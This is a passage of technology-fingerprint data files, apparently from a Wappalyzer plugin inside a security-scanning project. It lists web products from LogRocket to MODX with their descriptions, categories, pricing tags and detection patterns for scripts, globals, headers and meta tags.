\"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.(?:lr-ingest|logrocket)\\\\.(?:com|io)\"\n    ],\n    \"website\": \"https://logrocket.com\"\n  },\n  \"Loggly\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Loggly is a cloud-based log management service provider.\",\n    \"dom\": [\n      \"link[href*='.loggly.com']\"\n    ],\n    \"icon\": \"Loggly.svg\",\n    \"js\": {\n      \"LogglyTracker\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.loggly\\\\.com/\"\n    ],\n    \"website\": \"https://www.loggly.com\"\n  },\n  \"LogiCommerce\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"LogiCommerce is the headless ecommerce platform.\",\n    \"icon\": \"LogiCommerce.svg\",\n    \"js\": {\n      \"logicommerceGlobal\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"^LogiCommerce$\",\n      \"logicommerce\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.logicommerce.com\"\n  },\n  \"Login with Amazon\": {\n    \"cats\": [\n      69\n    ],\n    \"description\": \"Login with Amazon allows you use your Amazon user name and password to sign into and share information with participating third-party websites or apps.\",\n    \"icon\": \"Amazon.svg\",\n    \"js\": {\n      \"onAmazonLoginReady\": \"\"\n    },\n    \"website\": \"https://developer.amazon.com/apps-and-games/login-with-amazon\"\n  },\n  \"LoginRadius\": {\n    \"cats\": [\n      69\n    ],\n    \"description\": \"LoginRadius is a cloud based SaaS Customer Identity Access Management platform based in Canada.\",\n    \"icon\": \"LoginRadius.svg\",\n    \"js\": {\n      \"LoginRadius\": \"\",\n      \"LoginRadiusDefaults\": \"\",\n      \"LoginRadiusSDK\": \"\",\n      \"LoginRadiusUtility\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.loginradius\\\\.com\",\n      \"\\\\.lrcontent\\\\.com\"\n    ],\n    \"website\": \"https://www.loginradius.com\"\n  },\n  \"Loglib\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Loglib is a Open Source and Privacy-First web analytics that aims to provide simple yet can be powerful based on your needs.\",\n    \"icon\": \"Loglib.svg\",\n    \"js\": {\n      \"llc\": \"\",\n      \"lli\": \"\"\n    },\n    \"oss\": true,\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.loglib.io\"\n  },\n  \"LogoiX\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"LogoiX is a German shipping company.\",\n    \"icon\": \"LogoiX.svg\",\n    \"requiresCategory\": [\n      6\n    ],\n    \"text\": [\n      \"\\\\bLogoiX\\\\b\"\n    ],\n    \"website\": \"https://www.logoix.com\"\n  },\n  \"Loja Integrada\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Loja Integrada is an all-in-one platform for building and managing online stores, tailored for the Brazilian market.\",\n    \"headers\": {\n      \"X-Powered-By\": \"vtex-integrated-store\"\n    },\n    \"icon\": \"Loja Integrada.svg\",\n    \"js\": {\n      \"LOJA_ID\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://lojaintegrada.com.br\"\n  },\n  \"Loja Mestre\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Loja Mestre is an all-in-one ecommerce platform from Brazil.\",\n    \"icon\": \"Loja Mestre.svg\",\n    \"meta\": {\n      \"webmaster\": \"www\\\\.lojamestre\\\\.\\\\w+\\\\.br\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"lojamestre\\\\.\\\\w+\\\\.br\"\n    ],\n    \"website\": \"https://www.lojamestre.com.br/\"\n  },\n  \"Loja Virtual\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Loja Virtual is an all-in-one ecommerce platform from Brazil.\",\n    \"icon\": \"Loja Virtual.svg\",\n    \"js\": {\n      \"id_loja_virtual\": \"\",\n      \"link_loja_virtual\": \"\",\n      \"loja_sem_dominio\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/js/ljvt_v(\\\\d+)/\\\\;version:\\\\1\\\\;confidence:20\",\n      \"cdn1\\\\.solojavirtual\\\\.com\"\n    ],\n    \"website\": \"https://www.lojavirtual.com.br\"\n  },\n  \"Loja2\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Loja2 is an all-in-one ecommerce platform from Brazil.\",\n    \"icon\": \"Loja2.svg\",\n    \"pricing\": [\n      \"low\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"loja2\\\\.com\\\\.br\"\n    ],\n    \"website\": \"https://www.loja2.com.br\"\n  },\n  \"Loom\": {\n    \"cats\": [\n      103\n    ],\n    \"dns\": {\n      \"TXT\": \"loom-verification\"\n    },\n    \"icon\": \"Loom.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"recurring\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.loom.com\",\n    \"xhr\": [\n      \"loom\\\\.com/api\",\n      \"luna\\\\.loom\\\\.com\"\n    ]\n  },\n  \"Loop Returns\": {\n    \"cats\": [\n      102\n    ],\n    \"description\": \"Loop Returns is a return portal that automated all the returns and refunds of products.\",\n    \"dom\": [\n      \"a[href*='.loopreturns.com/']\"\n    ],\n    \"icon\": \"Loop.svg\",\n    \"js\": {\n      \"Loop.config.variantParam\": \"\",\n      \"LoopOnstore\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"requiresCategory\": [\n      6\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.loopreturns.com\"\n  },\n  \"Loop Web\": {\n    \"cats\": [\n      47\n    ],\n    \"description\": \"Loop Web is a provider in web, internet, network, and design services. Their offerings encompass website design, SMS, VoIP&IVR, Type, hosting, VPS, and more.\",\n    \"dom\": [\n      \"link[href*='.loopweb.net']\"\n    ],\n    \"icon\": \"Loop Web.svg\",\n    \"meta\": {\n      \"id\": \"LoopWeb\",\n      \"loopweb\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"website\": \"https://www.loopweb.net\"\n  },\n  \"Loop54\": {\n    \"cats\": [\n      29,\n      76\n    ],\n    \"cookies\": {\n      \"Loop54User\": \"\"\n    },\n    \"description\": \"Loop54 is a ecommerce search and navigation SaaS product.\",\n    \"icon\": \"Loop54.svg\",\n    \"js\": {\n      \"Loop54.config.libVersion\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.loop54.com\"\n  },\n  \"LoopedIn\": {\n    \"cats\": [\n      13\n    ],\n    \"description\": \"LoopedIn is an all-in-one tool for collecting feedback, building roadmaps, sharing changelogs, and publishing knowledge bases.\",\n    \"icon\": \"LoopedIn.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.productstash\\\\.io/\"\n    ],\n    \"website\": \"https://www.loopedin.io\"\n  },\n  \"Loops\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Loops is a platform that simplifies email marketing for SaaS companies, offering campaign creation and tracking.\",\n    \"dom\": [\n      \"form[action*='app.loops.so/']\"\n    ],\n    \"icon\": \"Loops.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://loops.so\"\n  },\n  \"Lootly\": {\n    \"cats\": [\n      84,\n      94\n    ],\n    \"description\": \"Lootly is a loyalty and referral marketing automation software suite for ecommerce businesses.\",\n    \"dom\": [\n      \"iframe[src*='lootly.io/']\"\n    ],\n    \"icon\": \"Lootly.svg\",\n    \"js\": {\n      \"Lootly.config\": \"\",\n      \"lootlyWidgetInit\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"lootly\\\\.io/\"\n    ],\n    \"website\": \"https://lootly.io\"\n  },\n  \"Loox\": {\n    \"cats\": [\n      90\n    ],\n    \"description\": \"Loox is a reviews app for Shopify that helps you gather reviews and user-generated photos from your customers.\",\n    \"icon\": \"Loox.svg\",\n    \"js\": {\n      \"loox_global_hash\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"loox\\\\.io/widget\"\n    ],\n    \"website\": \"https://loox.app\"\n  },\n  \"Loqate\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"Loqate is an address verification solution.\",\n    \"icon\": \"Loqate.svg\",\n    \"js\": {\n      \"loqateAccountCode\": \"\",\n      \"pca.platform.productList\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.loqate.com\"\n  },\n  \"LotLinx\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"LotLinx is a provider of digital retailing and marketing technologies for the automotive industry.\",\n    \"icon\": \"LotLinx.svg\",\n    \"js\": {\n      \"LXLoader\": \"\",\n      \"LotLinxID\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.lotlinx\\\\.com/\"\n    ],\n    \"website\": \"https://lotlinx.com/\"\n  },\n  \"LottieFiles\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"LottieFiles is an open-source animation file format that's tiny, high quality, interactive, and can be manipulated at runtime.\",\n    \"dom\": [\n      \"lottie-player, div[data-animation-type='lottie'], div[data-testid='lottie-player'], clipPath[id*='__lottie_element_']\"\n    ],\n    \"icon\": \"LottieFiles.svg\",\n    \"js\": {\n      \"dotlottie-player\": \"\",\n      \"lottie.version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"/dist/lottie-player\\\\.js\",\n      \"/dist/tgs-player\\\\.js\"\n    ],\n    \"website\": \"https://lottiefiles.com\"\n  },\n  \"LoyaltyLion\": {\n    \"cats\": [\n      84\n    ],\n    \"description\": \"LoyaltyLion is a data-driven ecommerce loyalty and engagement platform.\",\n    \"icon\": \"LoyaltyLion.svg\",\n    \"js\": {\n      \"loyaltylion.version\": \"([\\\\d\\\\-]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"sdk\\\\.loyaltylion\\\\.net/\"\n    ],\n    \"website\": \"https://loyaltylion.com\"\n  },\n  \"Lozad.js\": {\n    \"cats\": [\n      59,\n      92\n    ],\n    \"description\": \"Lozad.js is a lightweight lazy-loading library that's just 535 bytes minified & gzipped.\",\n    \"icon\": \"default.svg\",\n    \"js\": {\n      \"lozad\": \"\"\n    },\n    \"oss\": true,\n    \"scripts\": [\n      \"/lozad\\\\.min\\\\.js\"\n    ],\n    \"website\": \"https://apoorv.pro/lozad.js/\"\n  },\n  \"Lua\": {\n    \"cats\": [\n      27\n    ],\n    \"cpe\": \"cpe:2.3:a:lua:lua:*:*:*:*:*:*:*:*\",\n    \"description\": \"Lua is a multi-paradigm programming language designed primarily for embedded use in applications.\",\n    \"headers\": {\n      \"X-Powered-By\": \"\\\\bLua(?: ([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Lua.svg\",\n    \"website\": \"https://www.lua.org\"\n  },\n  \"Luana\": {\n    \"cats\": [\n      18\n    ],\n    \"description\": \"Luana is a web framework that uses web browser APIs and features to make a cross-platform web app look like a Native one and bring the same experience.\",\n    \"icon\": \"Luana.png\",\n    \"implies\": [\n      \"PWA\"\n    ],\n    \"js\": {\n      \"luanaframework\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"^Luana\\\\sFramework\\\\s([\\\\d\\\\.]+)$\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://luanaframework.github.io\"\n  },\n  \"Lucene\": {\n    \"cats\": [\n      34\n    ],\n    \"cpe\": \"cpe:2.3:a:apache:lucene:*:*:*:*:*:*:*:*\",\n    \"description\": \"Lucene is a free and open-source search engine software library.\",\n    \"icon\": \"Lucene.svg\",\n    \"implies\": [\n      \"Java\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://lucene.apache.org/core/\"\n  },\n  \"Lucide\": {\n    \"cats\": [\n      17\n    ],\n    \"description\": \"Lucide is an open-source icon library that provides 1000+ vector (svg) files for displaying icons and symbols in digital and non-digital projects.\",\n    \"dom\": [\n      \"svg.lucide\"\n    ],\n    \"icon\": \"Lucide.svg\",\n    \"oss\": true,\n    \"website\": \"https://lucide.dev\"\n  },\n  \"Lucky Orange\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Lucky Orange is a conversion optimisation tool with features including heatmaps, session recording, conversion funnels, form analytics, and chat.\",\n    \"dom\": [\n      \"link[href*='.luckyorange.com']\"\n    ],\n    \"icon\": \"Lucky Orange.svg\",\n    \"js\": {\n      \"__wtw_lucky_site_id\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.luckyorange\\\\.com/\"\n    ],\n    \"website\": \"https://www.luckyorange.com\"\n  },\n  \"Luigi’s Box\": {\n    \"cats\": [\n      10,\n      29\n    ],\n    \"icon\": \"Luigisbox.svg\",\n    \"js\": {\n      \"Luigis\": \"\"\n    },\n    \"website\": \"https://www.luigisbox.com\"\n  },\n  \"Lume\": {\n    \"cats\": [\n      57\n    ],\n    \"description\": \"Lume is a static site generator based on Deno.\",\n    \"icon\": \"Lume.svg\",\n    \"implies\": [\n      \"Deno\"\n    ],\n    \"meta\": {\n      \"generator\": \"^Lume\\\\sv([\\\\d\\\\.]+)$\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://lume.land\"\n  },\n  \"Lumio\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Lumio is a tool that identifies and tracks visitors to your website, providing insights into user activity and behaviour.\",\n    \"icon\": \"Lumio.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.lumio-analytics\\\\.com/\"\n    ],\n    \"website\": \"https://lumio-analytics.com/\"\n  },\n  \"Lumise\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"Lumise is a solution for personalisation stores, featuring a product designer tool compatible with Woocommerce, PHP, Magento, Opencart, and other CMS platforms.\",\n    \"icon\": \"Lumise.svg\",\n    \"js\": {\n      \"lumise\": \"\"\n    },\n    \"pricing\": [\n      \"onetime\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.lumise\\\\.com/\"\n    ],\n    \"website\": \"https://lumise.com\"\n  },\n  \"Lumit\": {\n    \"cats\": [\n      93\n    ],\n    \"description\": \"Lumit is an online ordering system for restaurants.\",\n    \"dom\": [\n      \"iframe[src*='.lumit.se']\"\n    ],\n    \"icon\": \"Lumit.svg\",\n    \"js\": {\n      \"injectLumit\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://lumit.app/se\"\n  },\n  \"Luna\": {\n    \"cats\": [\n      105\n    ],\n    \"description\": \"Luna is a company that sells software that aids eyewear companies sell their products online using virtual fitting.\",\n    \"dom\": [\n      \"link[href*='bsdk.api.ditto.com']\"\n    ],\n    \"headers\": {\n      \"Content-Security-Policy\": \"bsdk\\\\.api\\\\.ditto.com\"\n    },\n    \"icon\": \"Luna.svg\",\n    \"js\": {\n      \"Ditto.__esModule\": \"\",\n      \"dittoIdLifetime\": \"\",\n      \"globalDittoKey\": \"\",\n      \"globalDittoServer\": \"\",\n      \"jstextmap.DittoSdkUrl\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://luna.io\"\n  },\n  \"Lunio\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Lunio is a tool that enhances marketing efficiency by removing invalid traffic from paid marketing channels, enabling advertisers to reach a larger audience within the same budget.\",\n    \"icon\": \"Lunio.svg\",\n    \"js\": {\n      \"LunioClientData\": \"\",\n      \"LunioTrackConversion\": \"\",\n      \"lunioScript\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://lunio.ai\"\n  },\n  \"Lunr.js\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"A very simple search index.\",\n    \"js\": {\n      \"lunr\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"(?:((?:\\\\d+\\\\.)+\\\\d+)\\\\/)?lunr(?:-store)?(?:-en)?(?:\\\\.min)?\\\\.js\"\n    ],\n    \"website\": \"https://lunrjs.com/\"\n  },\n  \"Lychee\": {\n    \"cats\": [\n      7\n    ],\n    \"description\": \"Lychee is a photo-management tool designed to operate on your server or web-space.\",\n    \"icon\": \"Lychee.png\",\n    \"js\": {\n      \"lychee\": \"\",\n      \"lychee.version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"meta\": {\n      \"generator\": \"Lychee v([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://lycheeorg.github.io\"\n  },\n  \"LyraThemes Kale\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"LyraThemes Kale is a charming and elegant, aesthetically minimal and uncluttered food blog WordPress theme.\",\n    \"icon\": \"LyraThemes.png\",\n    \"js\": {\n      \"kale_responsive_videos\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/themes/kale(?:-pro)?/\"\n    ],\n    \"website\": \"https://www.lyrathemes.com/kale\"\n  },\n  \"Lytics\": {\n    \"cats\": [\n      97\n    ],\n    \"description\": \"Lytics is a customer data platform built for marketing teams.\",\n    \"icon\": \"Lytics.svg\",\n    \"js\": {\n      \"__lytics__jstag__.version\": \"(.+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.lytics\\\\.io/\"\n    ],\n    \"website\": \"https://www.lytics.com\"\n  },\n  \"langify\": {\n    \"cats\": [\n      89\n    ],\n    \"description\": \"langify translate your shop into multiple languages. langify comes with a visual configurator that allows you to add language switchers that integrate seamlessly into your existing design.\",\n    \"icon\": \"langify.svg\",\n    \"js\": {\n      \"Langify\": \"\",\n      \"langify\": \"\",\n      \"langify.settings.switcher.version\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"requiresCategory\": [\n      6\n    ],\n    \"saas\": true,\n    \"website\": \"https://langify-app.com\"\n  },\n  \"libphonenumber\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"libphonenumber is a JavaScript library for parsing, formatting, and validating international phone numbers.\",\n    \"icon\": \"default.svg\",\n    \"js\": {\n      \"libphonenumber.AsYouType\": \"\",\n      \"libphonenumber.DIGITS\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"(?:/([\\\\d\\\\.]+))?/libphonenumber(?:-js\\\\.min)?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://github.com/google/libphonenumber\"\n  },\n  \"libwww-perl-daemon\": {\n    \"cats\": [\n      22\n    ],\n    \"headers\": {\n      \"Server\": \"libwww-perl-daemon(?:/([\\\\d\\\\.]+))?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"libwww-perl-daemon.png\",\n    \"implies\": [\n      \"Perl\"\n    ],\n    \"website\": \"https://metacpan.org/pod/HTTP::Daemon\"\n  },\n  \"lighttpd\": {\n    \"cats\": [\n      22\n    ],\n    \"cpe\": \"cpe:2.3:a:lighttpd:lighttpd:*:*:*:*:*:*:*:*\",\n    \"description\": \"Lighttpd is an open-source web server optimised for speed-critical environment.\",\n    \"headers\": {\n      \"Server\": \"(?:L|l)ight(?:y)?(?:tpd)?(?:/([\\\\d\\\\.]+))?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"lighttpd.svg\",\n    \"oss\": true,\n    \"website\": \"https://www.lighttpd.net\"\n  },\n  \"lit-element\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"lit-element is a simple base class for creating web components that work in any web page with any framework. lit-element uses lit-html to render into shadow DOM, and adds API to manage properties and attributes.\",\n    \"icon\": \"Lit.svg\",\n    \"js\": {\n      \"litElementVersions.0\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://lit.dev\"\n  },\n  \"lit-html\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"lit-html is a simple, modern, safe, small and fast HTML templating library for JavaScript.\",\n    \"icon\": \"Lit.svg\",\n    \"js\": {\n      \"litHtmlVersions.0\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://lit.dev\"\n  },\n  \"lite-youtube-embed\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"The lite-youtube-embed technique renders the YouTube video inside the IFRAME tag only when the play button in clicked thus improving the core web vitals score of your website.\",\n    \"dom\": [\n      \"lite-youtube\"\n    ],\n    \"implies\": [\n      \"YouTube\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://github.com/paulirish/lite-youtube-embed\"\n  }\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_wappalyzer/data/technologies/m.json",
    "content": "{\n  \"MAAK\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"MAAK is a Laravel based CMS developed by Mahdi Akbari.\",\n    \"icon\": \"MAAK.png\",\n    \"meta\": {\n      \"author\": \"^MAAK$\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://maak-code.ir\"\n  },\n  \"MAJIN\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"MAJIN reads the hearts and minds of each customer using real-world data to automate optimal marketing processes.\",\n    \"icon\": \"MAJIN.svg\",\n    \"js\": {\n      \"ma.Touch\": \"\"\n    },\n    \"pricing\": [\n      \"high\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://ma-jin.jp\"\n  },\n  \"MATORI.NET\": {\n    \"cats\": [\n      64\n    ],\n    \"description\": \"MATORI.NET is a fully managed reverse proxy.\",\n    \"headers\": {\n      \"X-Powered-By\": \"MATORI.NET\"\n    },\n    \"implies\": [\n      \"OpenResty\"\n    ],\n    \"website\": \"https://matori.net\"\n  },\n  \"MDBootstrap\": {\n    \"cats\": [\n      66\n    ],\n    \"description\": \"MDBootstrap (Material Design for Bootstrap) is a complete UI package that can be integrated with other frameworks such as Angular, React, Vue, etc. It is used to design a fully responsive and mobile-friendly layout using various components, plugins, animation.\",\n    \"icon\": \"MDBootstrap.svg\",\n    \"implies\": [\n      \"Bootstrap\"\n    ],\n    \"js\": {\n      \"mdb.ScrollSpy\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"(?:/mdbootstrap/([\\\\d\\\\.]+)/)?js/mdb\\\\.min\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://mdbootstrap.com\"\n  },\n  \"MDBootstrap WP theme\": {\n    \"cats\": [\n      80\n    ],\n    \"description\": \"MDBootstrap WP theme is a WordPress theme built on top of the MDBootstrap front-end UI library. It provides a set of pre-designed layouts, widgets, and components that can be easily customised and integrated into WordPress websites.\",\n    \"dom\": {\n      \"link[href*='/wp-content/themes/mdbootstrap']\": {\n        \"attributes\": {\n          \"href\": \"/wp-content/themes/mdbootstrap(?:\\\\d+)?/.+\\\\.css(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n        }\n      }\n    },\n    \"icon\": \"MDBootstrap.svg\",\n    \"implies\": [\n      \"MDBootstrap\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://mdbgo.com/docs/projects/wordpress/\"\n  },\n  \"MDS Brand\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"MDS Brand is a provider of website, CRM, vrtual BDC, SEO, PPC, and live chat solutions for Marine, RV, Powersports, and automotive industries.\",\n    \"dom\": [\n      \"a[href*='mdsbrand.com/']\"\n    ],\n    \"icon\": \"MDS Brand.png\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"requires\": [\n      \"Nginx\",\n      \"UserWay\"\n    ],\n    \"website\": \"https://mdsbrand.com\"\n  },\n  \"MDUI\": {\n    \"cats\": [\n      66\n    ],\n    \"description\": \"MDUI is a CSS Framework based on material design.\",\n    \"icon\": \"MDUI.svg\",\n    \"js\": {\n      \"_mduiEventId\": \"\",\n      \"mdui.Drawer\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://www.mdui.org\"\n  },\n  \"MGID\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"MGID is a programmatic advertising platform frequently used by misinformation websites.\",\n    \"icon\": \"MGID.svg\",\n    \"js\": {\n      \"MgSensor.mgqWorker\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.mgid\\\\.com/\"\n    ],\n    \"website\": \"https://www.mgid.com\"\n  },\n  \"MGPanel\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"MGPanel has it all, a content management system that gives programmers the freedom to create professional web pages from scratch, also providing their clients with a self-managing platform.\",\n    \"icon\": \"MGPanel.png\",\n    \"implies\": [\n      \"MySQL\"\n    ],\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"requires\": [\n      \"PHP\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.mgpanel\\\\.org/\"\n    ],\n    \"website\": \"https://mgpanel.org\"\n  },\n  \"MICE Operations\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"MICE Operations is a software solution tailored for event venues, catering, and hospitality businesses, streamlining operational processes, sales, and client relationship management.\",\n    \"icon\": \"MICEOperations.svg\",\n    \"js\": {\n      \"miceWidgetSettings\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.miceoperations\\\\.com/widget/widget\\\\.js\\\\?ver=([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.miceoperations.com\"\n  },\n  \"MIYN Online Appointment\": {\n    \"cats\": [\n      72\n    ],\n    \"description\": \"MIYN Online Appointment is an advanced cloud-based online appointment scheduling software.\",\n    \"icon\": \"MIYN.svg\",\n    \"js\": {\n      \"MIYNLive.settings\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://miyn.app/online-appointment\"\n  },\n  \"MNTN\": {\n    \"cats\": [\n      36,\n      77\n    ],\n    \"description\": \"MNTN (formerly SteelHouse) is a marketing technology company that provides a platform for digital advertising, including tools for programmatic advertising, creative management, and campaign optimization.\",\n    \"icon\": \"mntn.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.steelhousemedia\\\\.com/(?:spx\\\\?dxver=([\\\\d.]+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://mountain.com\"\n  },\n  \"MODX\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:modx:modx_revolution:*:*:*:*:*:*:*:*\",\n    \"description\": \"MODX (originally MODx) is an open source content management system and web application framework for publishing content on the World Wide Web and intranets.\",\n    \"headers\": {\n      \"X-Powered-By\": \"^MODX\"\n    },\n    \"html\": [\n      \"<a[^>]+>Powered by MODX</a>\",\n      \"<!-- Modx process time debug info -->\",\n      \"<(?:link|script)[^>]+assets/snippets/\\\\;confidence:20\",\n      \"<form[^>]+id=\\\"ajaxSearch_form\\\\;confidence:20\",\n      \"<input[^>]+id=\\\"ajaxSearch_input\\\\;confidence:20\"\n    ],\n    \"icon\": \"MODX.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"js\": {\n      \"MODX\": \"\",\n      \"MODX_MEDIA_PATH\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"MODX[^\\\\d.]*([\\\\d.]+)?\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"pricing\": [\n      \"low\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/assets/components/templates/\\\\;confidence:50\"\n    ],\n    \"website\": \"https://modx.com/content-management-framework\"\n  },\n  \"MRI Eagle\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"MRI Eagle is a technology solution catering to real estate 